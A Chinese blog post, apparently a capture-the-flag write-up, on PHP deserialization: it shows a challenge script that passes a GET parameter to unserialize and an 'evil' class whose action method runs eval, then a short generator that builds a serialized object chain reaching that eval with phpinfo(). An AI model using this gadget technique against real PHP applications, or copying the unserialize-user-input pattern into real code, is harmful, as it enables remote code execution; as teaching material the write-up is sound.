当前位置:网站首页>PHP Serialization: eval
PHP Serialization: eval
2022-07-31 13:08:00 【Little dragon in shandong】
题目
<?php
highlight_file(__FILE__);
class lemon{
protected $ClassObj;
function __construct(){
$this->ClassObj = new normal();
}
function __destruct(){
$this->ClassObj->action();
}
}
class normal{
function action(){
echo "hello";
}
}
class evil{
private $data;
function action(){
eval($this->data);
}
}
unserialize($_GET['d']);
?>
解题思路:通过传入d参数,The parameter is the serialized string,Used to call magic methods__destruct,然后调用evil的action,to executeeval.
wp
生成序列化字符串:
<?php
class lemon{
protected $ClassObj;
function __construct(){
$this->ClassObj = new evil();
}
}
class evil{
private $data = "phpinfo();";
}
$test = new lemon();
echo urlencode(serialize($test));
边栏推荐
猜你喜欢
[CPU Design Practice] Simple Pipeline CPU Design
How does the SAP ABAP OData service support the $filter (filter) operation trial version
Use docker to build mysql master-slave
alert(1) (haozi.me)靶场练习
C#控件ListView用法
架构实战营|模块8
ADS与C#通信
Exploring Plain Vision Transformer Backbones for Object Detection Paper Reading Notes
电商rpa是什么意思?跟电商rpi是一个意思吗?
PyQt5 rapid development and actual combat 9.7 Automated testing of UI layer
随机推荐
The 2nd activity of the TOGAF10 Standard Reading Club continues wonderfully, and the highlights will be reviewed!
模拟量差分和单端(iou计算方法)
Optimization of five data submission methods
golang八股文整理(持续搬运)
【OpenCV】-边缘检测汇总示例
P5019 [NOIP2018 提高组] 铺设道路
IDEA版Postman插件Restful Fast Request,细节到位,功能好用
基于去噪自编码器的故障隔离与识别方法
Indoor real-time laser SLAM control method based on biological excitation neural network
NameNode故障处理的两种方法
基于神经网络的多柔性梁耦合结构振动控制
Using SQL Server FOR XML and FOR JSON syntax on other RDBMSs with jOOQ
电脑重要文件很多,如何备份比较安全?
查看Mysql数据库版本
Fully Dynamically Constrained Robot Efficient Time-Optimal Trajectory Planning
PyQt5 rapid development and actual combat 10.2 compound interest calculation && 10.3 refresh blog clicks
log4j2的使用
电商rpa是什么意思?跟电商rpi是一个意思吗?
五种数据提交方式的优化
Quickly learn database management